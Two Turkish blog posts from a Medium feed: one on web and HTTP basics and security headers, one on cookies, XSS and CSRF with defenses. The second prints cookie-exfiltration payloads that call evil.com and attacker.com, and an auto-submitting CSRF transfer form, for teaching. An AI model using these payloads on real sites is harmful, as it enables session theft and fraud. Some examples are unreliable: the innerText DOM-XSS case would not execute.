            <content:encoded><![CDATA[<h4>1 — Web Nasıl Çalışır?</h4><p>Bilgisayarda tarayıcıyı açtık. Mesela Chrome. Adres çubuğuna https://example.com yazıp Enter’a bastık. İşte o an arkada zincirleme bir olay başlıyor.</p><p>İlk olarak tarayıcı, “example.com” adresinin hangi IP adresine karşılık geldiğini öğrenmek için DNS sunucusuna bir istek gönderiyor. Bu telefon rehberine bakmak gibi bir şey. Domain name(example.com) insanlara kolay geliyor ama makineler IP adresiyle çalışıyor. Mesela DNS’ten gelen cevap şöyle: 93.184.216.34.</p><pre>example.com → 93.184.216.34<br>google.com → 142.250.190.78</pre><p>Tarayıcı diyor ki, “Tamam, bu IP’yi buldum, şimdi bağlanayım.” Bunun için TCP üzerinden bir bağlantı başlatıyor. HTTP kullanıyorsa port 80’e, HTTPS (daha güvenli ) kullanıyorsa port 443’e bağlanıyor. HTTPS kullanıldığı durumda önce bir TLS el sıkışması yapılıyor, yani bağlantı şifreleniyor. Böylece birileri seni izlese bile içeriği göremiyyor.Bağlantı kurulduktan sonra tarayıcı ilk isteğini gönderiyor. Bu bir <strong>HTTP GET</strong> isteği. Şuna benziyor:</p><pre>GET / HTTP/1.1<br>Host: example.com<br>User-Agent: Mozilla/5.0<br>Accept: text/html</pre><p>Bu satırlar şunu söylüyor:</p><blockquote><em>“Selam ! example.com sitesine geldim. Ana sayfayı istiyorum. Tarayıcım Mozilla, HTML türü içeriği kabul ederim.”</em></blockquote><p>Burada gördüğümüz <em>GET host User-Agent</em> birer header. <strong>Header’lar</strong>, HTTP istekleri ve yanıtlarında bulunan ve iletişim hakkında bilgi taşıyan scriptlerdir.</p><p><strong>Sık kullanılan istek(request) headerları:</strong></p><p>GETİstenilen kaynağın tipi (bu örnekte, / yani ana sayfa).</p><p>HostHangi domain’e istek yapıldığını belirtir. (chrome.com gibi)</p><p>User-AgentTarayıcı ve işletim sistemi hakkında bilgi verir (Chrome, Firefox vs.).</p><p>AcceptTarayıcının kabul edebileceği içerik türlerini belirtir.(text/html)</p><p>Accept-EncodingTarayıcı, verilerin hangi sıkıştırma biçiminde gelmesini istediğini belirtir. (gzip)</p><p>AuthorizationKullanıcı adı ve şifre gibi kimlik doğrulama bilgilerini taşır.</p><p><strong>Sık kullanılan yanıt(response) headerları:</strong></p><p>Content-TypeYanıtın içeriğinin türünü belirtir (HTML, JSON, PNG vb.).</p><p>Content-LengthGönderilen verinin byte cinsinden uzunluğunu belirtir.</p><p>Set-CookieTarayıcıya hangi çerezin (cookie) ayarlanacağını söyler.</p><p>LocationEğer istek bir yönlendirme (redirect) içeriyorsa, yeni hedef URL&#39;sini belirtir.</p><p>Cache-ControlTarayıcıya içerik nasıl önbelleğe alınacağını bildirir.</p><p>Strict-Transport-SecuritySunucunun sadece HTTPS üzerinden iletişim kurulmasını talep eder.</p><p>Sunucu bunu alınca sana bir HTTP yanıtı gönderiyor. Şöyle bir şey geliyor:</p><pre>HTTP/1.1 200 OK<br>Content-Type: text/html<br><br>&lt;html&gt;...web sayfası buradadır...&lt;/html&gt;</pre><p>ilk satırdaki 200 status kodlarını belirtir.</p><ul><li>200 OK: Başarılı</li><li>301 Moved Permanently: Kalıcı yönlendirme</li><li>403 Forbidden: Yasaklı</li><li>404 Not Found: Yok</li><li>500 Internal Server Error: Sunucu patladı</li></ul><p>1xxBilgilendirme2xxBaşarı3xxYönlendirme 4xxİstemci hatası5xxSunucu hatası</p><pre>HTTP/1.1 200 OK<br>Content-Type: text/html<br>Content-Length: 1024<br><br>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>  &lt;head&gt;<br>    &lt;title&gt;Example&lt;/title&gt;<br>    &lt;link rel=&quot;stylesheet&quot; href=&quot;style.css&quot;&gt;<br>  &lt;/head&gt;<br>  &lt;body&gt;<br>    &lt;h1&gt;Merhaba Dünya!&lt;/h1&gt;<br>    &lt;script src=&quot;app.js&quot;&gt;&lt;/script&gt;<br>    &lt;img src=&quot;banner.jpg&quot;&gt;<br>  &lt;/body&gt;<br>&lt;/html&gt;</pre><p>Tarayıcı bu yanıtı aldığında, “Hmm, elimde bir HTML belgesi var” diyor. Bu belgeyi analiz etmeye başlıyor. Başlık kısmında bir CSS dosyası (style.css), bir JavaScript dosyası (app.js) ve bir resim (banner.jpg) olduğunu görüyor. Ve onları da tek tek istiyor. Yani bu bir istekler zinciri:</p><pre>GET /style.css HTTP/1.1<br>GET /app.js HTTP/1.1<br>GET /banner.jpg HTTP/1.1</pre><p>Sunucu da bunları gönderiyor ve tarayıcı hepsini bir araya getirip sana görsel olarak bütün bir web sayfası sunuyor.</p><p>Yaniiii kısacası şöyle:</p><ul><li><strong>Tarayıcı açılır, adres yazılır</strong></li><li><strong>DNS’ten IP alınır</strong></li><li><strong>Sunucuya TCP bağlantısı kurulur</strong></li><li><strong>HTTP isteği yollanır</strong></li><li><strong>Yanıt gelir, HTML işlenir</strong></li><li><strong>CSS, JS, resimler ayrı ayrı çağrılır.</strong></li></ul><p>Web’in nasıl çalıştığını öğrendik ama bunu güvenlik perspektifinden anlamak, olası açıkları keşfetmek ve saldırı tekniklerini anlamak için, bug bountye girerken çok önemli.</p><h4>Güvenlik Perspektifinden</h4><h4>HTTP vs HTTPS</h4><h4>HTTP (Hypertext Transfer Protocol):</h4><ul><li><strong>Şifresiz iletişim</strong> sağlar.</li><li>Veriler, internet üzerinde <strong>açık bir şekilde</strong> aktarılır. Yani, bir hacker araya girerse (man-in-the-middle attack) verileri kolayca okuyabilir ve değiştirebilir.</li><li>Web sitesine giriş yaparken girdiğiniz kullanıcı adı, şifre gibi veriler <strong>görünür</strong> olabilir.</li></ul><p>Örnek: http://example.com<br> Bu bağlantıda, tüm veriler şifresiz şekilde gönderildiği için güvenlik çok zayıftır.</p><h3>HTTP Güvenlik Header’ları</h3><p>Güvenli bir web uygulaması, birçok HTTP header’ı kullanarak çeşitli <strong>saldırılara karşı koruma</strong> sağlar. Şimdi, bu header’lara <strong>güvenlik</strong> odaklı bakalım:</p><p><strong>Strict-Transport-Security (HSTS)</strong>HTTPS zorunluluğu getirir. Sunucuya, istemcinin yalnızca HTTPS üzerinden bağlantı kurmasını söyler. HSTS uygulanan bir siteye HTTP ile gelen bir istek, otomatik olarak HTTPS’e yönlendirilir.</p><p><strong>Content-Security-Policy (CSP)</strong>Web sayfasına yüklenen içerikleri <strong>sınırlayarak</strong> yalnızca belirli kaynaklardan içerik almasına izin verir. Bu, <strong>XSS (Cross-Site Scripting)</strong> saldırılarına karşı korur.</p><p><strong>X-Content-Type-Options</strong>Tarayıcının içerik türünü <strong>otomatik olarak tanımlamasını engeller</strong>. Bu, MIME type sniffing saldırılarını engeller.</p><p><strong>X-Frame-Options</strong>Web sayfasının başka bir sayfa içinde <strong>iframe olarak yüklenmesini engeller</strong>.C<strong>lickjacking</strong> saldırılarına karşı bir önlemdir.</p><p><strong>X-XSS-Protection</strong>Tarayıcının XSS saldırılarına karşı <strong>koruma sağlamasını</strong> talep eder. Ancak, bu koruma modern tarayıcılarda çoğunlukla devre dışı bırakılmıştır.</p><p><strong>Referrer-Policy</strong>Tarayıcıya, <strong>referer</strong> bilgilerini hangi durumlarda göndereceğini bildirir. Hassas bilgiler sızdırılmasın diye <strong>kısıtlamalar getirebilir</strong>.</p><p><strong>Permissions-Policy</strong>Web sayfasının, tarayıcının bazı API’lerine (kamera, mikrofon, vb.) erişim izni verip vermeyeceğini <strong>denetler</strong>.P<strong>rivilege escalation</strong> saldırılarından korunmak için önemlidir.</p><p><strong>Access-Control-Allow-Origin (CORS)</strong>Cross-origin isteklerin hangi kaynaklardan yapılabileceğini kontrol eder. Kötü niyetli sitelerin <strong>başka bir siteye ait verilere erişmesini engeller</strong>.</p><h4>HTTPS (Hypertext Transfer Protocol Secure):</h4><ul><li><strong>Şifreli iletişim</strong> sağlar. Bu, <strong>TLS (Transport Layer Security)</strong> veya eski adıyla <strong>SSL (Secure Sockets Layer)</strong> ile sağlanır.<strong>TLS/SSL ile </strong>İstemci (tarayıcı) ve sunucu arasında bir bağlantı kurulduğunda, <strong>el sıkışma (handshake)</strong> adı verilen bir işlem başlar. Bu, her iki tarafın da <strong>güvenli bir bağlantı kurabilmesi için kimlik doğrulama yapmasını</strong> sağlar.Bu işlemde sunucu, <strong>SSL/TLS sertifikasını</strong> sunar. Sertifika, sunucunun kimliğini doğrular.Sunucu ve istemci, <strong>ortak bir anahtar</strong> oluştururlar. Bu anahtar ile veri şifrelenir.</li><li>HTTPS kullanılarak <strong>veriler şifreli şekilde</strong> iletilir. Bu sayede araya giren bir saldırgan, bu verileri göremez.</li><li><strong>HTTPS</strong> ayrıca, kullanıcının hangi siteye bağlandığının doğruluğunu da <strong>sağlar</strong>. SSL/TLS sertifikaları sayesinde sitenin kimliği doğrulanır.</li></ul><p>Örnek: https://example.com<br> Bu bağlantı <strong>güvenlidir</strong> çünkü veriler <strong>şifreli</strong> iletilir.</p><h3>HTTPS’de Güvenlik Header’ları (HTTP Security Headers)</h3><p>Web sitenizde SSL/TLS kullanıyorsanız, güvenliği artırmak için bazı <strong>HTTP Security Header’larını</strong> da yapılandırmanız gerekir. İşte önemli olanlar:</p><p><strong>Strict-Transport-Security: </strong>HTTPS bağlantısının zorunlu olmasını sağlar. Tarayıcılar, bu sayede HTTP’yi reddeder ve yalnızca HTTPS üzerinden iletişim kurar.</p><pre>Strict-Transport-Security: max-age=31536000; includeSubDomains; preload</pre><p>Bu header, tüm alt alan adları için de <strong>HTTPS zorunluluğu</strong> getirebilir.</p><p><strong>Content-Security-Policy (CSP): </strong>XSS (Cross-site scripting) gibi saldırılara karşı korunmak için hangi kaynaklardan içerik yüklenebileceğini belirler.</p><pre>Content-Security-Policy: default-src &#39;self&#39;; script-src &#39;self&#39; https://trusted.com;</pre><p>Sayfanın sadece kendi sunucusundan ve <strong>trusted.com</strong> sitesinden <strong>JavaScript</strong> yüklemesine izin verir.</p><p><strong>X-Frame-Options: </strong>Web sayfasının başka bir site içerisinde <strong>iframe</strong> olarak gösterilmesini engeller (Clickjacking saldırılarına karşı).<strong>Clickjacking</strong>, kötü niyetli bir kişinin web sayfanızı <strong>iframe</strong> içinde gizleyerek, kullanıcının sayfanın üzerine yanlışlıkla tıklamasını sağlamak için kullanılır.</p><pre>X-Frame-Options: DENY</pre><p>Yani, başka bir site sizin sayfanızı <strong>iframe</strong> içinde göstermek isterse, bunu yapamaz.Bu header sitenizin hiçbir <strong>iframe içinde</strong> gösterilmesine izin vermez.</p><p><strong>X-Content-Type-Options: </strong>Tarayıcıya içerik türünü <strong>doğru şekilde</strong> tanımlaması gerektiğini söyler.Yani, web sayfası sunucusu <strong>image/png</strong> diye bir resim gönderirse, tarayıcı <strong>güvenli bir şekilde</strong> onu resim olarak açar. Ancak, bir <strong>tehlikeli içerik</strong> gönderildiğinde, <strong>tarayıcı buna karşı bir önlem alır</strong>.</p><pre>X-Content-Type-Options: nosniff</pre><p>Bu header, tarayıcıya <strong>içerik türünü</strong> doğru şekilde tanımlamasını ve <strong>yanlış içerik türünü</strong> işlemesini engellemesini söyler.</p><p><strong>Referrer-Policy: </strong>Bu header, <strong>referer</strong> bilgisinin <strong>hangi sayfalara gönderileceğini</strong> belirler. Örneğin, bir kullanıcı başka bir siteye yönlendirilirken, o sitenin adresini <strong>referer</strong> bilgisi olarak gönderebilirsiniz. Ancak, bazı hassas bilgiler <strong>gizlenmek istenebilir</strong>.</p><p>Bu header sayesinde, hangi sayfalarda <strong>referer bilgisinin</strong> gönderileceğini veya <strong>gönderilmemesi gerektiğini</strong> kontrol edebilirsiniz.</p><pre>Referrer-Policy: no-referrer-when-downgrade</pre><p>Tarayıcının sadece <strong>HTTPS’den HTTP’ye</strong> geçerken <strong>referer bilgisini göndermemesi</strong> gerektiğini belirtir. Yani, şifreli bağlantıdan şifresiz bağlantıya giderken referans bilgisini <strong>gizler</strong>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4c5b7359006a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Çerezler (Cookies) ve Güvenlik]]></title>
            <link>https://medium.com/@miiela/%C3%A7erezler-cookies-ve-g%C3%BCvenlik-4fe6ce850d5e?source=rss-96d33d793728------2</link>
            <guid isPermaLink="false">https://medium.com/p/4fe6ce850d5e</guid>
            <dc:creator><![CDATA[miela]]></dc:creator>
            <pubDate>Sat, 27 Sep 2025 20:08:01 GMT</pubDate>
            <atom:updated>2025-09-27T20:08:01.917Z</atom:updated>
            <content:encoded><![CDATA[<h3>1. Çerezler (Cookies) Nedir?</h3><p>Çerezler, kullanıcıların web sitelerinde gezinirken tarayıcıda saklanan küçük veri dosyalarıdır. Bu veriler, kullanıcı deneyimini iyileştirmek için kullanılır. Örneğin, bir sosyal medya platformuna (Instagram gibi) giriş yaptığınızda, giriş bilgileri kalıcı çerezlerde saklanır. Böylece her defasında şifre girmenize gerek kalmaz.</p><p>Web tarayıcıları, kullanıcı tercihleri, oturum bilgileri ve diğer verileri saklamak için çerezleri kullanır. Çerezler genellikle iki ana kategoriye ayrılır: <strong>Oturum Çerezleri (Session Cookies)</strong> ve <strong>Kalıcı Çerezler (Persistent Cookies)</strong>.</p><h3>2. Oturum Çerezleri (Session Cookies)</h3><p>Oturum çerezleri, kullanıcı bir web sitesine girdiği süre boyunca tarayıcıda geçici olarak saklanır. Tarayıcı kapatıldığında veya oturum sonlandırıldığında otomatik olarak silinir.</p><h3>Örnek Kullanım Alanları:</h3><ul><li><strong>Oturum Bilgileri:</strong> Online alışveriş sitelerinde sepetin içeriği oturum çerezleriyle saklanabilir. Tarayıcı kapandığında bu bilgiler kaybolur.</li><li><strong>Çevrimiçi Bankacılık:</strong> Kullanıcı oturum açtığı sürece oturum çerezi, sayfalar arasında gezinmeyi sağlar. Tarayıcı kapandığında güvenlik amacıyla oturum sonlandırılır.</li></ul><h3>3. Kalıcı Çerezler (Persistent Cookies)</h3><p>Kalıcı çerezler, tarayıcı kapandıktan sonra bile cihazda belirli bir süre boyunca saklanır. Web sitesi, bu çerezler aracılığıyla kullanıcıyı tanıyabilir ve tercihlerini hatırlayabilir.</p><h3>Örnek Kullanım Alanları:</h3><ul><li><strong>Giriş Bilgileri:</strong> “Beni Hatırla” seçeneği ile kullanıcı tekrar giriş yapmak zorunda kalmaz.</li><li><strong>Dil Tercihleri:</strong> Kullanıcının seçtiği dil tercihi, her ziyaretinde otomatik olarak uygulanır.</li></ul><h3>4. Çerezlerin Çalınması: Teknik Yöntemler</h3><h4>Cross-Site Scripting (XSS)</h4><p>XSS, saldırganın hedef web sitesine <strong>kötü amaçlı kod (çoğunlukla JavaScript)</strong> eklemesiyle gerçekleşir. Bu kod, web sitesini ziyaret eden kullanıcıların tarayıcılarında çalışır. Amaç, çerezleri, giriş bilgilerini veya tarayıcıda tutulan diğer verileri çalmaktır.</p><p><strong>2. Oturum Çerezlerinin Çalınması:</strong></p><ul><li>Web tarayıcısı, oturum çerezlerini her HTTP isteğiyle otomatik olarak sunucuya gönderir.</li><li>Eğer saldırganın JavaScript’i çalıştırılırsa, document.cookie ile tarayıcıdaki çerezler okunabilir.</li><li>Çalınan çerezler, saldırganın kontrolündeki bir sunucuya gönderilebilir:</li></ul><pre>&lt;script&gt;   fetch(&quot;https://evil.com/steal?cookie=&quot; + document.cookie); &lt;/script&gt;</pre><ul><li>Sonuç: Kullanıcının oturumu ele geçirilebilir (Session Hijacking). Yani saldırgan, kullanıcının hesabına <strong>hesap sahibinin bilgisi olmadan</strong> giriş yapabilir.</li></ul><p><strong>3. XSS Türleri ve Diğer Olasılıklar:</strong></p><h3>Stored XSS ve Çerezler:</h3><p><strong>Stored XSS</strong>, veritabanına kaydedilen kötü amaçlı JavaScript kodu sayesinde çalışır. Bu kod, her kullanıcı web sayfasına eriştiğinde çalıştırılır. <strong>Çerezler</strong>, kullanıcının kimlik doğrulama bilgilerini ve oturum verilerini saklamak için kullanıldığından, bu saldırı türü kullanıcı bilgilerini çalmak, kullanıcı oturumlarını ele geçirmek veya kullanıcılara phishing yapmak için kullanılabilir.</p><h4>Stored XSS ve Çerezlere Erişim:</h4><p>Stored XSS saldırıları, özellikle aşağıdaki senaryolarda çerezlere erişim sağlamak için kullanılabilir:</p><ul><li>Saldırgan, bir forumda veya yorum bölümünde zararlı JavaScript kodunu yazarak bu kodu veritabanına kaydeder. Bu kod, her kullanıcı sayfayı ziyaret ettiğinde çalıştırılır ve <strong>çerez bilgilerini çalmayı amaçlar</strong>.</li><li>Örneğin, forumda bir kullanıcı şu şekilde basitçe bir yorum bırakabilir:</li></ul><pre>&lt;script&gt;    fetch(&#39;https://attacker.com/steal?cookie=&#39; + document.cookie); &lt;/script&gt;</pre><ul><li>Bu kod veritabanına kaydedildikten sonra, her kullanıcı bu forum sayfasını ziyaret ettiğinde, <strong>çerez bilgileri</strong> (oturum bilgileri, kullanıcı kimliği vb.) <strong>saldırganın sunucusuna</strong> gönderilecektir.</li></ul><h4><strong>Reflected / Non-Persistent XSS:</strong></h4><p>Kod, URL parametrelerinde veya form girişlerinde geçici olarak çalışır.</p><ul><li>Saldırgan, URL içine kötü amaçlı bir JavaScript parçası yerleştirir (reflected payload). Örneğin bir arama sonuç sayfasına gömülen tamlama.</li><li>Kurban bu özel URL’i açarsa, sayfa döndüğünde tarayıcıda saldırganın JavaScript’i çalışır (çünkü sayfa onu içerir).</li><li>Eğer oturumla ilgili çerezler tarayıcıda HttpOnly olarak <strong>işaretlenmemiş</strong> ise yürütülen JavaScript document.cookie ile bu çerezleri okuyabilir.</li><li>Bu çerezler saldırgan tarafından uzaktaki bir sunucuya gönderilirse (örn. bir GET/POST isteği ile) saldırgan kurbanın oturumunu ele geçirebilir</li></ul><h4><strong>DOM-based XSS:</strong></h4><p><strong>Reflected ve Stored XSS</strong>’ten farklıdır çünkü <strong>sadece tarayıcı tarafında çalışır</strong> ve sunucunun uyguladığı filtrelemelere takılmaz. Bu saldırıda, kötü amaçlı JavaScript kodu, sayfa yüklendikten sonra DOM’da (Document Object Model) manipülasyon yaparak çalıştırılır. Bu da demek oluyor ki saldırı tamamen <strong>kullanıcı tarayıcısında</strong> gerçekleşir.</p><p>Tarayıcıda çalışan JavaScript üzerinden, <strong>belirli parametrelerin</strong> (search, ref, page vs.) doğrudan HTML içine yerleştirilmesi (veya URL&#39;deki input parametrelerinin işlenmesi).Mesela</p><p>Arama sonuçları sayfası şu URL’yi kullanıyor:</p><pre>https://example.com/search?query=keyword</pre><p>Kullanıcı bu URL’yi ziyaret ettiğinde, sayfa yüklenir ve JavaScript kodu, URL’deki query parametresini alıp arama sonuçlarını görüntülemek için kullanır.</p><pre>&lt;h1&gt;Arama Sonuçları: &lt;span id=&quot;searchQuery&quot;&gt;&lt;/span&gt;&lt;/h1&gt;</pre><p>Sayfa yüklendiğinde, aşağıdaki JavaScript kodu searchQuery öğesinin içine URL&#39;deki query parametresini yerleştirir:</p><pre>// URL&#39;den &#39;query&#39; parametresini al<br>var urlParams = new URLSearchParams(window.location.search);<br>var query = urlParams.get(&#39;query&#39;);// &#39;searchQuery&#39; ID&#39;sine sahip elemente &#39;query&#39; parametresini ekle<br>document.getElementById(&#39;searchQuery&#39;).innerText = query;<br></pre><p>Bu durumda, kullanıcı şu URL’yi ziyaret ederse:</p><pre>https://example.com/search?query=&lt;script&gt;alert(document.cookie)&lt;/script&gt;</pre><p>JavaScript, URL’deki query parametresini alır ve HTML öğesine yerleştirir.</p><p>Eğer kötü amaçlı bir kullanıcı yukarıdaki URL’yi ziyaret ederse, bu durumda sayfadaki &lt;span id=&quot;searchQuery&quot;&gt;&lt;/span&gt; öğesinin içeriği şu şekilde olacaktır:</p><pre>&lt;h1&gt;Arama Sonuçları: &lt;span id=&quot;searchQuery&quot;&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;&lt;/span&gt;&lt;/h1&gt;</pre><p>JavaScript, sayfa yüklendiğinde, bu &lt;script&gt; etiketini çalıştıracak ve kullanıcının çerezlerini (cookie) çalmak amacıyla aşağıdaki kod çalışacaktır:</p><pre>alert(document.cookie);</pre><p>Eğer document.cookie değerine erişim izni varsa, bu çerezler tarayıcı üzerinden çalınabilir.</p><p><strong>4. XSS ile Yapılabilecek Diğer Şeyler:</strong></p><ul><li><strong>Keylogger oluşturma:</strong> Kullanıcının klavye girdilerini takip etmek.</li><li><strong>Malware inject:</strong> Kullanıcının tarayıcısına veya bilgisayarına kötü amaçlı yazılım yüklemek.</li><li><strong>Form doldurma / e-posta spam:</strong> Kullanıcının hesabı üzerinden otomatik mesaj veya e-posta göndermek.</li><li><strong>Yetki yükseltme denemeleri:</strong> Eğer çalınan oturum bir yönetici hesabına aitse, web uygulamasında admin yetkisi kazanmak.</li><li><strong>Sosyal mühendislik saldırıları:</strong> Kullanıcıyı sahte sayfalara yönlendirip veri toplamak.</li></ul><p>Özetle: <strong>XSS saldırısı sadece çerezleri çalmakla kalmaz</strong>, kullanıcının oturumu üzerinden pek çok kötü amaçlı işlem yapmayı mümkün kılar. Çalınan oturumla yapılabilecekler de çok geniştir (hesap ele geçirme, veri sızdırma, spam, malware yükleme vb.).</p><h4><strong>Cross-Site Request Forgery (CSRF):</strong></h4><p><strong>CSRF</strong> (Cross-Site Request Forgery) saldırısı, kullanıcıyı <strong>yetkisiz</strong> bir işlem yapmaya zorlamak için kullanılan bir tür saldırıdır.CSRF saldırısında çerez çalınmaz; amaaaaa saldırgan <strong>kullanıcının çerezlerini</strong> kullanarak <strong>yetkisiz işlemler</strong> yapabilir.Daha iyi anlamak için günlük hayata değinelim.</p><ul><li>Kullanıcı, <strong>çevrimiçi bir alışveriş sitesi</strong> gibi(sahte) kötü amaçlı bir siteye gider.Bu site, kullanıcının bankasına bir transfer yapacak şekilde bir HTML formu otomatik olarak gönderir.Oturum açan kullanıcının kimliğini doğrulamak için <strong>çerez</strong> kullanmaktadır. Örneğin, session_id=abc123 gibi bir oturum çerezi (session_id) kullanılarak, kullanıcının oturumu belirlenir.(Çerezler genellikle <strong>HttpOnly</strong> veya <strong>Secure</strong> bayraklarıyla korunabilir, ancak bu bayraklar düzgün yapılandırılmadıysa, CSRF saldırısına açık hale gelir.)</li><li>Bu çerez tarayıcıda saklanır ve banka sitesine yapılan her istekte otomatik olarak gönderilir. Bu sayede banka, gelen her isteğin <strong>geçerli bir kullanıcı</strong> tarafından gönderildiğini anlamış olur.</li><li>Saldırgan, kullanıcının bankacılık hesabına erişmeye çalışacaktır. Kullanıcı, kötü amaçlı bir siteyi ziyaret eder. Saldırgan, kötü amaçlı siteye şu formu yerleştirir:</li></ul><pre>&lt;form action=&quot;https://bank.com/transfer&quot; method=&quot;POST&quot;&gt;<br>    &lt;input type=&quot;hidden&quot; name=&quot;amount&quot; value=&quot;1000&quot;&gt;<br>    &lt;input type=&quot;hidden&quot; name=&quot;to_account&quot; value=&quot;attacker_account&quot;&gt;<br>    &lt;input type=&quot;submit&quot; value=&quot;Transfer&quot;&gt;<br>&lt;/form&gt;<br>&lt;script&gt;<br>    // Formu otomatik olarak gönder<br>    document.forms[0].submit();<br>&lt;/script&gt;</pre><p>Bu formda:</p><ul><li><strong>amount</strong>: Kullanıcının bankasından aktarılacak para miktarı (1000 TL).</li><li><strong>to_account</strong>: Transferin yapılacağı hesap, burada saldırganın hesabı attacker_account olarak belirtilmiştir.</li></ul><p>Buradaki <strong>&lt;script&gt;</strong> etiketi, <strong>formu otomatik olarak gönderen</strong> bir JavaScript kodu içerir. Yani, kullanıcı formu elle göndermese de, JavaScript otomatik olarak gönderir.</p><ul><li>Kullanıcı, kötü amaçlı siteyi ziyaret eder. Kullanıcının tarayıcısı, <strong>aktif olan oturum çerezini</strong> (örneğin session_id=abc123) <strong>otomatik olarak</strong> bankanın sunucusuna gönderir. Çünkü kullanıcı zaten bankanın sitesinde oturum açmıştır ve bu oturum çerezi, tarayıcı tarafından her istekle birlikte bankaya iletilir.</li><li>Banka, gelen istekle birlikte <strong>çerezi</strong> otomatik olarak alır ve kullanıcının kimliğini doğrular. Banka, <strong>çerezi doğruladığı için</strong> (yani kullanıcı zaten oturum açmışsa), isteğin geçerli bir kullanıcı tarafından yapıldığını kabul eder.</li><li>Banka, <strong>çerezleri doğrulayan bir mekanizmaya</strong> sahip olduğundan, istek <strong>geçerli bir oturumdan</strong> geldiğini düşünerek işlemi onaylar. Bu durumda, <strong>çerezler</strong> tarayıcı tarafından gönderildiği için banka sunucusu bu isteği <strong>kullanıcı tarafından yapılmış</strong> bir işlem olarak kabul eder.</li><li>Banka sunucusu, istek üzerinde gelen verileri (amount=1000, to_account=attacker_account) işler.</li><li><strong>Kullanıcının parası</strong>, <strong>attacker_account</strong> hesabına aktarılır.** Sonuç olarak kullanıcı bir kere oturum açarsa sonraki her seferde otomatik doğrulama olacağı için saldırgan istediği kadar para aktarımı yapar ve bankada bu işlemin kullanıcı tarafından yapıldığı görünür.</li></ul><h4>Özetle:</h4><ul><li><strong>Çerez çalınmaz</strong>: CSRF saldırısında çerezler <strong>çalınmaz</strong>, ancak <strong>aktif bir oturum çerezi</strong> kullanılarak <strong>yetkisiz bir işlem</strong> yapılır.</li><li><strong>Saldırganın çerezlere erişimi yoktur</strong>, ama çerezlerin varlığı, <strong>kullanıcının kimlik doğrulaması</strong> için kullanılır ve bu sayede <strong>yetkisiz işlem yapılır</strong>.</li></ul><h3>Savunma Yöntemleri</h3><p>1. Output Encoding<br> Kullanıcıdan alınan veriler, HTML, JavaScript veya URL bağlamlarında kullanılmadan önce doğru şekilde <strong>encode</strong> edilir. Bu, özellikle <strong>HTML</strong>, <strong>JavaScript</strong> veya <strong>CSS</strong> gibi bağlamlarda <strong>kötü amaçlı kodların</strong> çalışmasını engeller.</p><p>Örneğin:</p><pre>var safeQuery = query.replace(/&lt;/g, &quot;&amp;lt;&quot;).replace(/&gt;/g, &quot;&amp;gt;&quot;);<br>document.getElementById(&#39;searchQuery&#39;).innerText = safeQuery;</pre><ul><li><strong>XSS saldırıları</strong> sırasında, kullanıcının girilen verileri <strong>HTML’de</strong> (örneğin innerHTML ile) doğrudan kullanılmadan önce kaçışlanır. Bu sayede kötü amaçlı &lt;script&gt; etiketleri çalışmaz.</li></ul><p>2. Content Security Policy (CSP)<br> CSP, sayfa üzerinde <strong>inline scriptlerin</strong> çalışmasını engeller ve sadece <strong>güvenli kaynaklardan</strong> script yüklemeye izin verir. Bu, kötü amaçlı scriptlerin çalışmasını zorlaştırır.</p><pre>Content-Security-Policy: default-src &#39;self&#39;; script-src &#39;self&#39;; object-src &#39;none&#39;; base-uri &#39;self&#39;;</pre><ul><li><strong>XSS saldırıları</strong> sırasında, saldırganın sunucusundan gelen kötü amaçlı kodların sayfada çalışmasını engeller.</li><li>Inline JavaScript kodlarının çalışmasını engelleyerek <strong>DOM-based XSS</strong> ve <strong>Reflected XSS</strong> saldırılarını zorlaştırır.</li></ul><p>3. Input Validation<br> Kullanıcıdan gelen verileri kabul etmeden önce, sadece <strong>beklenen karakterler</strong> ile sınırlanır. Girdiler üzerinde <strong>format</strong> ve <strong>uzunluk</strong> denetimi yapılır.</p><p>Örneğin, bir e-posta adresi girişi sadece alfanümerik karakterler ve belirli semboller içerebilir.</p><pre>if (!/^[a-zA-Z0-9]+$/.test(input)) {<br>  alert(&#39;Invalid input!&#39;);<br>}</pre><ul><li><strong>XSS</strong> saldırılarının engellenmesinde etkili olabilir, çünkü tehlikeli karakterler (örneğin &lt;, &gt;, &#39;, &quot;) engellenir.</li><li><strong>SQL Injection</strong> ve <strong>Command Injection</strong> gibi saldırılarda, zararlı komutların çalıştırılmasını engeller.</li></ul><p>4. JavaScript Sanitize<br> <strong>DOM manipülasyonu</strong> sırasında kullanılan kullanıcı girdileri, <strong>zararlı karakterlerden</strong> temizlenir. Böylece, <strong>DOM-based XSS</strong> türündeki saldırılar engellenir.</p><ul><li><strong>DOM-based XSS</strong> saldırılarına karşı, kullanıcı girdileri temizlenerek zararlı etiketler ve komutlar engellenir.</li><li>Kötü amaçlı &lt;script&gt; veya &lt;img&gt; gibi etiketlerin çalıştırılması engellenir.</li></ul><p>5. HttpOnly Çerezler<br> <strong>HttpOnly</strong> çerezleri, <strong>JavaScript’in</strong> çerezlere erişimini <strong>engeller</strong>. Bu sayede, <strong>XSS saldırıları</strong> ile çerez çalınmasının önüne geçilir.</p><p>Örnek:</p><pre>Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Strict;</pre><ul><li><strong>XSS</strong> saldırılarında, çerezler JavaScript ile ele geçirilemez. Bu, oturum çalınmasını engeller.</li></ul><p>6. SameSite Çerez Özelliği<br> <strong>SameSite</strong> özelliği, çerezlerin yalnızca aynı site içindeki isteklerde kullanılmasını sağlar. Bu, <strong>çapraz site</strong> isteklerini engeller ve <strong>CSRF saldırılarını</strong> önler.</p><p>Örneğin:</p><pre>Set-Cookie: session_id=abc123; SameSite=Strict;</pre><ul><li><strong>CSRF saldırılarında</strong>, kötü amaçlı bir site çerezleri gönderemediği için, kullanıcının hesabı üzerinden işlem yapmayı engeller.</li></ul><p>7. Referer ve Origin Kontrolü<br> Sunucu, gelen isteklerin <strong>Referer</strong> ve <strong>Origin</strong> başlıklarını kontrol eder. Eğer istek, <strong>beklenen site</strong> üzerinden gelmiyorsa, işlem reddedilir.</p><ul><li><strong>CSRF saldırılarında</strong>, <strong>geçerli olmayan</strong> kaynaklardan gelen istekler engellenir.</li></ul><p>8. Authentication Header Kullanımı<strong> </strong><br> Çerez yerine, kimlik doğrulama için <strong>Bearer tokenları</strong> gibi <strong>authentication header</strong>’ları kullanılır. Bu, çerez tabanlı oturum yönetiminden daha güvenlidir çünkü <strong>çerezlere 